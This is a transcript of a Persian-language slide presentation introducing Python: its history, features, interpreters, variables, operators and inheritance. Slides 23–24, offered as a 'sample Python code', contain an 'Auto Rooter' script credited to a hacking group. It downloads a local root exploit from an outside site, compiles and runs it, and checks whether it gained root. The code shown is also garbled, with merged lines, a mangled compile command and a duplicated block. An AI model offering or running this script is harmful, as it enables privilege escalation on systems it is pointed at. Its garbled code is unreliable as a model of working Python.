1 / 25

Programing Language

Programing Language. کاری از : پگاه محبتی مریم یوسفی. تاریخچه. در سال 1991 توسط گویدو ون رسوم ABC هدف : ایجاد جانشینی برای زبان هشتمین زبان برنامه نویسی پرطرفدار جهان. Guido van Rossum. ( Benevolent Dictator for Life ). ویژگی ها : . زبان سطح بالا و شی گرا

bayle
Download Presentation

Programing Language

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Programing Language کاری از : پگاه محبتی مریم یوسفی

  2. تاریخچه در سال 1991 توسط گویدو ون رسوم ABC هدف : ایجاد جانشینی برای زبان هشتمین زبان برنامه نویسی پرطرفدار جهان Guido van Rossum (Benevolent Dictator for Life )

  3. ویژگی ها : • زبان سطح بالا و شی گرا • رایگان و متن باز • قابل حمل • قدرتمند (ترکیبیاز زبانهای سطح بالا سطح پایین و تفسیری) • امنیت اطلاعات • درونی سازی و گسترش • سهولت یادگیری و استفاده

  4. برای مثال برنامه hello worldرا که اولین برنامه ساده می باشد را در دو زبان سی و پایتون مقایسه کنید: در c : #include <stdio.h> int main() { printf(" Hello world "); return 0; {

  5. در پايتون : print "Hello World !!"

  6. اهداف اصلی • خوانایی بالای برنامه ها • کوتاهی و بازدهی نسبی بالای آن یک کار غیر معمول در طراحی این زبان استفاده از فاصله و جلو بردن متن برای مشخص کردن بلوک های مختلف کد است که به ویژگی آف–ساید معروف است .

  7. پایتون یک زبان تفسیری است کامپایلر مفسّر برنامه ها به دو روش پردازش می شوند توسط

  8. پایتون یک زبان تفسیری است یک کامپایلر برنامه را می خواند و قبل از اینکه اجرا کند آن را به طور کامل به زبان ماشین ترجمه می کند. در این مورد برنامۀ سطح بالا کد مبدأ و برنامۀ ترجمه شده را کد مقصد یا قابل اجرا می نامند. یک بار که برنامه کامپایل شود ، می توانید آن را بدون ترجمۀ مجدد به دفعات اجرا کنید.

  9. مفسر برنامه را خط به خط می خواند و محاسبات راانجام می دهد. بدین معنی که مفسر آنچه را که برنامه می گوید انجام می دهد.

  10. پایتون یک زبان تفسیری است برنامه هاي پایتون به وسیلۀ مفسر اجرا می شوند. دو راه براي استفاده از مفسر وجود دارد: حالت خط فرمان حالت اسکریپت

  11. در حالت خط فرمان ، شما برنامه پایتون را تایپ می کنید و مفسّر نتیجه را چاپ می کند : >>> print 1+1 2

  12. در حالت اسکریپت ، شما برنامه را در یک فایل می نویسید و از مفسّر براي اجراي محتویات فایل استفاده کنید. چنین فایلی را اسکریپت می نامند. >>>print 1+1 $ python latoya.py 2

  13. شروعکار با پایتون تاکنون محیط هاي گرافیکی زیادي جهت برنامه نویسی پایتون در سیستم عامل هاي گوناگون ازسوي شرکت هاي مختلف عرضه شده است، از جمله : • IDLE • win32 • wxPython • Tkinter

  14. کد شما همچنان که در IDLEتایپ می کنید بر اساسانواع نحوي پایتون رنگ آمیزي می شود : توضیحات به رنگ قرمزند رشته ها سبز رنگ تعاریف و خروجی هاي مفسر آبی وکلمات کلیدي پایتونهم نارنجی هستند

  15. برنامه هایی را که در پایتون می نویسید با پسوند.py ذخیره می شوند سایر پسوندهایی که ممکن است در پایتون مشاهده کنید شامل : • .pyw • .pyc • .pyo • .pyd

  16. انواع داده ها

  17. متغیرها دستورنسبت دهی یک متغیر جدید میسازد و مقداري را به آن نسبت می دهد : >>> message = "What's up, Doc?" >>> n = 17 >>> pi = 3.14159 >>> print message >>> print n What's up, Doc? 17

  18. شرط ها و روند کنترل • if • for • while • class • def • with • try یک تابع تعریف می کند در برنامه نویسی شی گرا استفاده می شود که یک بلوک کد را اجرا و فضاهای محلی آن را به یک کلاس ملحق می کند یک بلوک کد را به یک مدیر متن ضمیمه می کند جلوگیری از اعتراض

  19. عملگرها + - () / * ** 20+32 hour-1hour*60minute/60 5**2 (5+9)*(15-7)

  20. تقدم عملگرها تفریق> جمع>تقسیم> ضرب >توان رسانی >پرانتزها

  21. وراثت توانایی تعریف کلاس جدیدي است که نسخۀ تغییریافته اي از یک کلاس موجود می باشد. از آنجایی که کلاس جدید تمام متدهاي کلاس موجود را به ارث می برد، این عمل وراثت نامیده می شود. با توسعۀ این استعاره، کلاس موجود گاهی والد نامیده می شود. به کلاس جدید، گاهی کلاس فرزند یا زیر کلاس گفته می شود.

  22. مزایای وراثت • اضافه کردن متدهای جدید به یک کلاس بدون تغییر در کلاس موجود • ساده تر شدن بعضی از برنامه های پیچیده • استفاده مجدد از کدها به آسانی معایب وراثت • می تواند خوانایی برنامه را دشوارتر سازد . هنگامی که یک متد احضار • می شود، گاهی یافتن محل تعریف آن واضح نیست .

  23. یک نمونه کد پایتون • #!/usr/bin/python#Code By G3n3Rall#BHG Security Center#Www.Black-hg.org ||| Www.Greyh4t.Com#www.idc-team.netimport urllib2,sys,os #1print 'Auto Rooter ...'  #2mylocalroot = 'http://www.black-hg.org/Localroot/x.c'#3try:    exploit = urllib2.urlopen(mylocalroot) #4    exploit = exploit.read() #5xpl = open("x.c", "w")  #6xpl.write(exploit) #7xpl.close() #8except: #9

  24. print 'Could Not Get Exploit' #10try: #11os.system('chmod 777 x') #12os.system('gccx.c -o x')os.system('./x Command')uid = os.getuid() #13    if uid is '0': #14        print 'You Have Root Access' #15    else: # 16        print 'Rooting Faild' #17except: #18    print 'Error In Executing' #19 print 'Could Not Get Exploit' #10try: #11os.system('chmod 777 x') #12os.system('gccx.c -o x')os.system('./x Command')uid = os.getuid() #13    if uid is '0': #14        print 'You Have Root Access' #15    else: # 16        print 'Rooting Faild' #17except: #18    print 'Error In Executing' #19 

  25. پایان

More Related